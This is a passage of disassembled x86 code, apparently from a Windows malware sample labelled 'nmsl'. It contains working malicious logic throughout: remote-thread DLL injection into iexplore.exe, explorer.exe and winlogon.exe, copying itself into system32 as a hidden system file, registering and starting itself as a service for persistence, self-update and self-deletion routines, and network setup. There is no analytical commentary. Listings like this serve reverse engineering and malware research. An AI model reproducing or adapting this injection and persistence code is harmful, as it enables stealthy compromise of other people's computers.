		lea	eax, [ebp+var_1004]
		push	eax
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_411D78	; WriteProcessMemory
		test	eax, eax
		jz	short loc_4479DA
		push	offset aWriteprocessme ; "WriteProcessMemory() ok\n"
		call	nullsub_4
		pop	ecx
		push	[ebp+arg_4]
		push	offset aS	; "<%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		push	0
		push	esi
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_411D7C	; CreateRemoteThread


loc_4479DA:				; CODE XREF: sub_4478B7+2Bj
					; sub_4478B7+EEj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4478B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4479E1	proc near		; CODE XREF: sub_447AA9+6Fp
					; sub_447B78+5Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		call	sub_44783D
		push	[ebp+arg_0]
		push	0
		push	1F0FFFh
		call	dword_411D80	; OpenProcess
		mov	ebx, eax
		push	offset aProcessOpened_ ; "process opened.\n"
		call	nullsub_4
		pop	ecx
		test	ebx, ebx
		jz	loc_447AA1
		push	[ebp+arg_4]
		push	ebx
		call	sub_4478B7
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_447A9A
		push	esi
		push	offset aThreadInjected ; "thread injected (%i).\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		push	esi
		call	dword_411D38	; WaitForSingleObject
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	dword_411D84	; GetExitCodeThread
		push	[ebp+var_4]
		push	offset aThreadComplete ; "thread complete (%i).\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	esi
		call	dword_411CFC	; CloseHandle
		push	ebx
		call	dword_411CFC	; CloseHandle
		cmp	[ebp+var_4], 20h
		jnb	short loc_447A6A
		xor	eax, eax
		jmp	short loc_447AA3
; ---------------------------------------------------------------------------


loc_447A6A:				; CODE XREF: sub_4479E1+83j
		push	[ebp+arg_4]
		push	offset aDllInjected ; "DLL injected!\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		cmp	dword_411058, 0
		jz	short loc_447A95
		push	dword_411058
		call	dword_411CFC	; CloseHandle
		and	dword_411058, 0


loc_447A95:				; CODE XREF: sub_4479E1+9Fj
		xor	eax, eax
		inc	eax
		jmp	short loc_447AA3
; ---------------------------------------------------------------------------


loc_447A9A:				; CODE XREF: sub_4479E1+3Fj
		push	ebx
		call	dword_411CFC	; CloseHandle


loc_447AA1:				; CODE XREF: sub_4479E1+2Aj
		xor	eax, eax


loc_447AA3:				; CODE XREF: sub_4479E1+87j
					; sub_4479E1+B7j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4479E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447AA9	proc near		; CODE XREF: DMN1:00447D66p

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		call	sub_44783D
		push	0
		push	2
		call	sub_448497	; CreateToolhelp32Snapshot
		mov	edi, eax
		test	eax, eax
		jz	loc_447B71
		mov	[ebp+var_128], 128h
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_44849D	; Process32First


loc_447AEA:				; CODE XREF: sub_447AA9+BDj
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_447B57
		push	esi
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aTryingSWithS ; "trying <%s> with <%s>\n"
		call	nullsub_4
		add	esp, 0Ch
		push	esi
		push	[ebp+var_120]
		call	sub_4479E1
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_447B42
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aS	; "<%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	edi
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		inc	eax
		jmp	short loc_447B71
; ---------------------------------------------------------------------------


loc_447B42:				; CODE XREF: sub_447AA9+78j
		push	esi
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aTryingSWithSFa ; "trying <%s> with <%s>	failed\n"
		call	nullsub_4
		add	esp, 0Ch


loc_447B57:				; CODE XREF: sub_447AA9+51j
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_4484A3	; Process32Next
		test	eax, eax
		jnz	short loc_447AEA
		push	edi
		call	dword_411CFC	; CloseHandle
		xor	eax, eax


loc_447B71:				; CODE XREF: sub_447AA9+24j
					; sub_447AA9+97j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_447AA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447B78	proc near		; CODE XREF: DMN1:00447D7Bp

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	offset dword_41105C
		call	sub_4475BA
		pop	ecx
		mov	ecx, 100h
		cdq
		idiv	ecx
		lea	esi, [edx+1]
		call	sub_44783D
		jmp	short loc_447C10
; ---------------------------------------------------------------------------


loc_447BA4:				; CODE XREF: sub_447B78+9Aj
		push	0
		push	2
		call	sub_448497	; CreateToolhelp32Snapshot
		mov	edi, eax
		test	eax, eax
		jz	short loc_447C16
		mov	[ebp+var_128], 128h
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_44849D	; Process32First


loc_447BCA:				; CODE XREF: sub_447B78+8Fj
		dec	esi
		test	esi, esi
		jnz	short loc_447BF8
		push	ebx
		push	[ebp+var_120]
		call	sub_4479E1
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_447BED
		push	edi
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		inc	eax
		jmp	short loc_447C16
; ---------------------------------------------------------------------------


loc_447BED:				; CODE XREF: sub_447B78+67j
		push	edi
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		jmp	short loc_447C16
; ---------------------------------------------------------------------------


loc_447BF8:				; CODE XREF: sub_447B78+55j
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_4484A3	; Process32Next
		test	eax, eax
		jnz	short loc_447BCA
		push	edi
		call	dword_411CFC	; CloseHandle


loc_447C10:				; CODE XREF: sub_447B78+2Aj
		test	esi, esi
		jnz	short loc_447BA4
		xor	eax, eax


loc_447C16:				; CODE XREF: sub_447B78+39j
					; sub_447B78+73j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_447B78	endp


; =============== S U B	R O U T	I N E =======================================



sub_447C1D	proc near		; CODE XREF: DMN1:00447CC5p
					; DMN1:00447D95p
		push	ebx
		push	dword_412970
		call	dword_411D54	; ResetEvent
		push	0
		push	0
		push	offset sub_406086
		call	sub_44910B
		add	esp, 0Ch
		mov	ebx, eax
		push	2710h
		mov	eax, ebx
		push	eax
		call	dword_411D38	; WaitForSingleObject
		test	eax, eax
		jz	short loc_447C72
		push	dword_411050
		call	sub_44292D
		pop	ecx
		mov	dword_411050, 1
		mov	eax, ebx
		push	eax
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		jmp	short loc_447C7E
; ---------------------------------------------------------------------------


loc_447C72:				; CODE XREF: sub_447C1D+30j
		mov	eax, ebx
		push	eax
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		inc	eax


loc_447C7E:				; CODE XREF: sub_447C1D+53j
		pop	ebx
		retn
sub_447C1D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	sub_444B61
		test	eax, eax
		jnz	loc_447E66
		call	sub_444AC3
		test	eax, eax
		jnz	loc_447E66
		call	sub_44783D
		push	dword_412970
		call	dword_411D54	; ResetEvent
		push	3E8h
		push	dword_412970
		call	dword_411D38	; WaitForSingleObject
		call	sub_447C1D
		test	eax, eax
		jz	short loc_447CFE
		push	3E8h
		call	dword_411D04	; Sleep
		push	offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies>	e"...
		call	nullsub_4
		pop	ecx
		push	0FFFFFFFFh
		push	dword_412970
		call	dword_411D38	; WaitForSingleObject
		push	dword_412970
		call	dword_411D54	; ResetEvent


loc_447CFE:				; CODE XREF: DMN1:00447CCCj
		and	dword ptr [ebp-0Ch], 0
		mov	dword ptr [ebp-8], 5
		mov	esi, [ebp-0Ch]


loc_447D0C:				; CODE XREF: DMN1:00447E3Aj
		push	dword_412970
		call	dword_411D54	; ResetEvent
		cmp	esi, 2
		ja	short loc_447D48
		test	esi, esi
		jz	short loc_447D2D
		cmp	esi, 1
		jz	short loc_447D36
		cmp	esi, 2
		jz	short loc_447D3F
		jmp	short loc_447D4C
; ---------------------------------------------------------------------------


loc_447D2D:				; CODE XREF: DMN1:00447D1Fj
		mov	dword ptr [ebp-4], offset aIexplore_exe	; "iexplore.exe"
		jmp	short loc_447D4C
; ---------------------------------------------------------------------------


loc_447D36:				; CODE XREF: DMN1:00447D24j
		mov	dword ptr [ebp-4], offset aExplorer_exe	; "explorer.exe"
		jmp	short loc_447D4C
; ---------------------------------------------------------------------------


loc_447D3F:				; CODE XREF: DMN1:00447D29j
		mov	dword ptr [ebp-4], offset aWinlogon_exe	; "winlogon.exe"
		jmp	short loc_447D4C
; ---------------------------------------------------------------------------


loc_447D48:				; CODE XREF: DMN1:00447D1Bj
		and	dword ptr [ebp-4], 0


loc_447D4C:				; CODE XREF: DMN1:00447D2Bj
					; DMN1:00447D34j ...
		call	sub_4476F9
		test	eax, eax
		jz	loc_447E40
		cmp	esi, 2
		ja	short loc_447D71
		push	offset dword_412974
		push	dword ptr [ebp-4]
		call	sub_447AA9
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jmp	short loc_447D8C
; ---------------------------------------------------------------------------


loc_447D71:				; CODE XREF: DMN1:00447D5Cj
		mov	edi, 64h


loc_447D76:				; CODE XREF: DMN1:00447D8Aj
		push	offset dword_412974
		call	sub_447B78
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_447D8C
		dec	edi
		test	edi, edi
		jg	short loc_447D76


loc_447D8C:				; CODE XREF: DMN1:00447D6Fj
					; DMN1:00447D85j
		inc	esi
		test	ebx, ebx
		jz	loc_447E13
		call	sub_447C1D
		test	eax, eax
		jz	short loc_447E13
		push	3E8h
		call	dword_411D04	; Sleep
		push	offset aWaitingForDllD ; "waiting for <DLL dies> event...\n"
		call	nullsub_4
		pop	ecx
		jmp	short loc_447DC3
; ---------------------------------------------------------------------------


loc_447DB6:				; CODE XREF: DMN1:00447DD9j
		call	sub_444AC3
		test	eax, eax
		jnz	loc_447E66


loc_447DC3:				; CODE XREF: DMN1:00447DB4j
		push	2BCh
		push	dword_412970
		call	dword_411D38	; WaitForSingleObject
		cmp	eax, 102h
		jz	short loc_447DB6
		push	dword_412970
		call	dword_411D54	; ResetEvent
		mov	esi, [ebp-0Ch]
		call	sub_444AC3
		test	eax, eax
		jz	short loc_447E08
		push	offset aDying	; "dying\n"
		call	nullsub_4
		pop	ecx
		push	1
		call	sub_4491DB
		pop	ecx
		jmp	short loc_447E66
; ---------------------------------------------------------------------------


loc_447E08:				; CODE XREF: DMN1:00447DF1j
		push	offset aDllStopped___ ;	"DLL stopped...\n"
		call	nullsub_4
		pop	ecx


loc_447E13:				; CODE XREF: DMN1:00447D8Fj
					; DMN1:00447D9Cj
		call	sub_444B61
		test	eax, eax
		jnz	short loc_447E66
		cmp	dword_411054, 0
		jz	short loc_447E37
		push	offset dword_412974
		call	sub_44928B
		pop	ecx
		and	dword_411054, 0


loc_447E37:				; CODE XREF: DMN1:00447E23j
		cmp	esi, [ebp-8]
		jle	loc_447D0C


loc_447E40:				; CODE XREF: DMN1:00447D53j
		push	offset aInjectionthrea ; "InjectionThread complete\n"
		call	nullsub_4
		pop	ecx
		cmp	dword_411054, 0
		jz	short loc_447E66
		push	offset dword_412974
		call	sub_44928B
		pop	ecx
		and	dword_411054, 0


loc_447E66:				; CODE XREF: DMN1:00447C90j
					; DMN1:00447C9Dj ...
		call	sub_44919B
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	0
		push	0
		push	1
		push	0
		call	dword_411D44	; CreateEventA
		mov	dword_412970, eax
		push	0
		push	0
		push	offset sub_406815
		call	sub_44910B
		add	esp, 0Ch
		mov	ebx, eax
		push	0FFFFFFFFh
		mov	eax, ebx
		push	eax
		call	dword_411D38	; WaitForSingleObject
		mov	eax, ebx
		push	eax
		call	dword_411CFC	; CloseHandle
		push	0
		push	0
		push	offset sub_40356A
		call	sub_44910B
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		push	1F4h
		call	dword_411D04	; Sleep
		push	0
		push	0
		push	offset sub_404CDF
		call	sub_44910B
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	eax
		call	dword_411D38	; WaitForSingleObject
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447EEC	proc near		; CODE XREF: sub_448484+1p

var_2004	= byte ptr -2004h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 2004h
		call	sub_448F2B
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0
		xor	esi, esi
		mov	off_41295C, offset aNmsl ; "NMSL"
		call	sub_4424A7
		call	sub_4425D0
		call	sub_442502
		push	offset dword_413974
		call	dword_411CCC	; InitializeCriticalSection
		call	sub_4433F9
		mov	dword_412938, eax
		call	dword_411D94	; GetCommandLineA
		push	eax
		call	sub_442695
		pop	ecx
		cmp	dword_411000, 4
		jnz	loc_44802A
		push	offset aUpdate_0 ; "*update"
		push	dword_4128AC
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	loc_44802A
		call	sub_444A6F
		mov	[ebp+var_8], eax
		call	sub_4455CD
		mov	eax, dword_411018
		push	eax
		push	[ebp+var_8]
		push	offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n"
		call	nullsub_4
		add	esp, 0Ch
		push	offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n"
		call	nullsub_4
		pop	ecx
		push	1770h
		call	dword_411D04	; Sleep
		call	sub_446867
		push	0FA0h
		call	dword_411D04	; Sleep
		call	sub_446867
		call	sub_444AF0
		and	[ebp+var_C], 0
		push	dword_4128A8
		push	dword_4128B4
		push	dword_4128B0
		push	offset aNewSOldSSelfS ;	"new=<%s>, old=<%s>, self=<%s>\r\n"
		call	nullsub_4
		add	esp, 10h
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		push	dword_4128B0
		call	sub_444B8E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_448023
		push	0
		push	1
		push	0
		push	dword_4128B4
		call	sub_444B8E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_448023
		push	0
		push	1
		push	0
		push	dword_4128A8
		call	sub_444B8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_44802A


loc_448023:				; CODE XREF: sub_447EEC+105j
					; sub_447EEC+11Dj
		xor	eax, eax
		jmp	loc_44847D
; ---------------------------------------------------------------------------


loc_44802A:				; CODE XREF: sub_447EEC+58j
					; sub_447EEC+71j ...
		call	sub_445579
		test	eax, eax
		jz	short loc_44803A
		xor	eax, eax
		jmp	loc_44847D
; ---------------------------------------------------------------------------


loc_44803A:				; CODE XREF: sub_447EEC+145j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jz	loc_44811D
		push	offset aCopying___ ; "copying...\n"
		call	nullsub_4
		pop	ecx
		push	80h
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		call	dword_411D2C	; SetFileAttributesA
		push	0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D28	; CopyFileA
		test	eax, eax
		jz	loc_44810F
		push	7
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		call	dword_411D2C	; SetFileAttributesA
		lea	edi, [ebp+var_2004]
		mov	byte ptr [edi],	22h
		inc	edi
		push	dword_4128A8
		push	edi
		call	sub_448E6B
		pop	ecx
		pop	ecx
		push	dword_4128A8
		call	sub_448E4B
		pop	ecx
		add	edi, eax
		mov	byte ptr [edi],	22h
		inc	edi
		mov	byte ptr [edi],	0
		inc	edi
		lea	eax, [ebp+var_2004]
		push	eax
		push	offset aCmdlineS ; "cmdline: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		call	sub_4455CD
		lea	eax, [ebp+var_2004]
		push	eax
		call	sub_447325
		pop	ecx
		test	eax, eax
		jz	short loc_4480F4
		xor	eax, eax
		jmp	loc_44847D
; ---------------------------------------------------------------------------


loc_4480F4:				; CODE XREF: sub_447EEC+1FFj
		push	offset aCreateprocessF ; "CreateProcess() failed %%-(\n"
		call	nullsub_4
		pop	ecx
		call	sub_445579
		test	eax, eax
		jz	short loc_44811A
		xor	eax, eax
		jmp	loc_44847D
; ---------------------------------------------------------------------------


loc_44810F:				; CODE XREF: sub_447EEC+197j
		push	offset aCopyingFailed ;	"copying failed	%%-(\n"
		call	nullsub_4
		pop	ecx


loc_44811A:				; CODE XREF: sub_447EEC+21Aj
		xor	esi, esi
		inc	esi


loc_44811D:				; CODE XREF: sub_447EEC+161j
		call	sub_443701
		call	sub_446FFA
		push	0
		push	0
		call	sub_443847
		pop	ecx
		pop	ecx
		mov	dword_411004, eax
		push	offset aInitializingWi ; "initializing winsock library...\n"
		call	nullsub_4
		pop	ecx
		call	sub_442757
		cmp	dword_411000, 1
		jle	loc_4481EE
		mov	eax, dword_4128AC
		cmp	byte ptr [eax],	2Ah
		jz	loc_4481EE
		push	80h
		push	dword_4128AC
		call	dword_411D2C	; SetFileAttributesA
		push	dword_4128AC
		call	dword_411D50	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4481D2
		push	dword_4128AC
		push	offset aRemovingS ; "removing: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	edi, 0Ah
		jmp	short loc_4481CB
; ---------------------------------------------------------------------------


loc_44819F:				; CODE XREF: sub_447EEC+2E4j
		push	80h
		push	dword_4128AC
		call	dword_411D2C	; SetFileAttributesA
		push	dword_4128AC
		call	dword_411D1C	; DeleteFileA
		test	eax, eax
		jnz	short loc_4481D2
		push	3E8h
		call	dword_411D04	; Sleep


loc_4481CB:				; CODE XREF: sub_447EEC+2B1j
		dec	edi
		mov	eax, edi
		test	eax, eax
		jnz	short loc_44819F


loc_4481D2:				; CODE XREF: sub_447EEC+298j
					; sub_447EEC+2D2j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_4481EE
		mov	[ebp+var_4], 1


loc_4481EE:				; CODE XREF: sub_447EEC+262j
					; sub_447EEC+270j ...
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_44824C
		push	offset asc_40E58E ; "**"
		push	dword_4128AC
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_44824C
		push	offset aWaiting___ ; "*** waiting...\n"
		call	nullsub_4
		pop	ecx
		mov	edi, 0Ah


loc_448228:				; CODE XREF: sub_447EEC+353j
		call	sub_4464B3
		test	eax, eax
		jz	short loc_448241
		push	1F4h
		call	dword_411D04	; Sleep
		dec	edi
		test	edi, edi
		jnz	short loc_448228


loc_448241:				; CODE XREF: sub_447EEC+343j
		push	offset aWaitingComplet ; "*** waiting complete...\n"
		call	nullsub_4
		pop	ecx


loc_44824C:				; CODE XREF: sub_447EEC+315j
					; sub_447EEC+32Aj
		call	sub_4464B3
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4482A5
		push	offset aNoRegisteredSe ; "no registered	service, "
		call	nullsub_4
		pop	ecx
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_44828E
		mov	[ebp+var_4], 1
		push	offset aRegisterItAndR ; "register it and restart\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_44832F
; ---------------------------------------------------------------------------


loc_44828E:				; CODE XREF: sub_447EEC+389j
		push	offset aDonTRegisterIt ; "DON'T register it\n"
		call	nullsub_4
		pop	ecx
		and	[ebp+var_4], 0
		xor	esi, esi
		inc	esi
		jmp	loc_44832F
; ---------------------------------------------------------------------------


loc_4482A5:				; CODE XREF: sub_447EEC+369j
		push	offset aRegisteredServ ; "registered service is	here...\n"
		call	nullsub_4
		pop	ecx
		call	sub_4464FD
		test	eax, eax
		jz	short loc_4482C0
		xor	eax, eax
		jmp	loc_44847D
; ---------------------------------------------------------------------------


loc_4482C0:				; CODE XREF: sub_447EEC+3CBj
		push	offset aRegisteredSe_0 ; "registered service is	not running.\n"
		call	nullsub_4
		pop	ecx
		call	sub_44552E
		test	eax, eax
		jnz	short loc_44832F
		push	offset aInstallingServ ; "installing service, res="
		call	nullsub_4
		pop	ecx
		call	sub_446725
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		push	offset aI	; "%i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		call	sub_4468AC
		test	eax, eax
		jnz	short loc_448304
		call	sub_446982


loc_448304:				; CODE XREF: sub_447EEC+411j
		call	sub_4455CD
		push	offset aStartingServic ; "starting service...\n"
		call	nullsub_4
		pop	ecx
		call	sub_446651
		test	eax, eax
		jz	short loc_448324
		xor	eax, eax
		jmp	loc_44847D
; ---------------------------------------------------------------------------


loc_448324:				; CODE XREF: sub_447EEC+42Fj
		push	offset aRegisteredSe_1 ; "registered service is	not running, unre"...
		call	nullsub_4
		pop	ecx


loc_44832F:				; CODE XREF: sub_447EEC+39Dj
					; sub_447EEC+3B4j ...
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_448370
		cmp	[ebp+var_4], 0
		jz	short loc_448370
		test	ebx, ebx
		jnz	short loc_448370
		push	offset aInstallingSe_0 ; "installing service...\n"
		call	nullsub_4
		pop	ecx
		call	sub_446725
		test	eax, eax
		jz	short loc_448370
		push	offset aServiceInstall ; "service installed ok...\n"
		call	nullsub_4
		pop	ecx
		xor	ebx, ebx
		inc	ebx


loc_448370:				; CODE XREF: sub_447EEC+456j
					; sub_447EEC+45Cj ...
		test	ebx, ebx
		jz	short loc_44837D
		call	sub_44552E
		test	eax, eax
		jz	short loc_4483A7


loc_44837D:				; CODE XREF: sub_447EEC+486j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_4483D7
		push	offset asc_40E58E ; "**"
		push	dword_4128AC
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_4483D7


loc_4483A7:				; CODE XREF: sub_447EEC+48Fj
		push	offset aStartingServic ; "starting service...\n"
		call	nullsub_4
		pop	ecx
		call	sub_4455CD
		call	sub_446651
		test	eax, eax
		jz	short loc_4483C7
		xor	eax, eax
		jmp	loc_44847D
; ---------------------------------------------------------------------------


loc_4483C7:				; CODE XREF: sub_447EEC+4D2j
		call	sub_445579
		test	eax, eax
		jz	short loc_4483D7
		xor	eax, eax
		jmp	loc_44847D
; ---------------------------------------------------------------------------


loc_4483D7:				; CODE XREF: sub_447EEC+4A4j
					; sub_447EEC+4B9j ...
		call	sub_4464B3
		test	eax, eax
		jz	short loc_44842E
		call	sub_44552E
		test	eax, eax
		jz	short loc_44842E
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		push	dword_4128A8
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jnz	short loc_44842E
		push	offset asc_40E58E ; "**"
		push	dword_4128AC
		call	dword_411D3C	; lstrcmpi
		test	eax, eax
		jz	short loc_44842E
		push	offset aInitializingSe ; "initializing service startup sequence.."...
		call	nullsub_4
		pop	ecx
		call	sub_4472C4
		test	eax, eax
		jz	short loc_44842B
		xor	eax, eax
		jmp	short loc_44847D
; ---------------------------------------------------------------------------


loc_44842B:				; CODE XREF: sub_447EEC+539j
		xor	esi, esi
		inc	esi


loc_44842E:				; CODE XREF: sub_447EEC+4F2j
					; sub_447EEC+4FBj ...
		push	offset aNotDaemonized_ ; "not daemonized...\n"
		call	nullsub_4
		pop	ecx
		test	esi, esi
		jz	short loc_448449
		push	dword_4128A8
		call	sub_446F6F
		pop	ecx


loc_448449:				; CODE XREF: sub_447EEC+54Fj
		call	sub_445579
		test	eax, eax
		jz	short loc_448456
		xor	eax, eax
		jmp	short loc_44847D
; ---------------------------------------------------------------------------


loc_448456:				; CODE XREF: sub_447EEC+564j
		push	0
		push	0
		push	offset sub_406A07
		call	sub_44910B
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	eax
		call	dword_411D38	; WaitForSingleObject
		push	offset dword_40E000
		call	nullsub_4
		pop	ecx
		xor	eax, eax


loc_44847D:				; CODE XREF: sub_447EEC+139j
					; sub_447EEC+149j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_447EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_448484	proc near		; CODE XREF: DMN1:0044935Cp
		push	ebx
		call	sub_447EEC
		mov	ebx, eax
		call	sub_4455CD
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_448484	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_448497	proc near		; CODE XREF: sub_447AA9+1Bp
					; sub_447B78+30p
		jmp	dword_411D88
sub_448497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44849D	proc near		; CODE XREF: sub_447AA9+3Cp
					; sub_447B78+4Dp
		jmp	dword_411D8C
sub_44849D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484A3	proc near		; CODE XREF: sub_447AA9+B6p
					; sub_447B78+88p
		jmp	dword_411D90
sub_4484A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484A9	proc near		; CODE XREF: sub_442757+1Ap
					; sub_442757+34p
		jmp	dword_411E8C
sub_4484A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484AF	proc near		; CODE XREF: DMN1:004427BBp
		jmp	dword_411E90
sub_4484AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484B5	proc near		; CODE XREF: sub_4427C4+Bp
					; DMN1:00442848p ...
		jmp	dword_411E94
sub_4484B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484BB	proc near		; CODE XREF: sub_4427C4+36p
					; sub_4427C4+53p ...
		jmp	dword_411E98
sub_4484BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484C1	proc near		; CODE XREF: sub_44292D+4p
					; sub_443F6D+152p ...
		jmp	dword_411E9C
sub_4484C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484C7	proc near		; CODE XREF: sub_44293A+56p
		jmp	dword_411EA0
sub_4484C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484CD	proc near		; CODE XREF: sub_4429AD+11p
		jmp	dword_411EA4
sub_4484CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484D3	proc near		; CODE XREF: sub_4429D2+28p
					; sub_442A22+28p ...
		jmp	dword_411EA8
sub_4484D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484D9	proc near		; CODE XREF: sub_4429D2+3Ap
		jmp	dword_411EAC
sub_4484D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484DF	proc near		; CODE XREF: sub_442A22+3Ap
					; sub_443F6D+E5p ...
		jmp	dword_411EB0
sub_4484DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484E5	proc near		; CODE XREF: sub_442A72+8p
		jmp	dword_411EB4
sub_4484E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484EB	proc near		; CODE XREF: sub_442A8C+30p
					; sub_442AD7+3Fp
		jmp	dword_411EB8
sub_4484EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484F1	proc near		; CODE XREF: sub_442AD7+5Fp
					; DMN1:00442CAFp ...
		jmp	dword_411EBC
sub_4484F1	endp


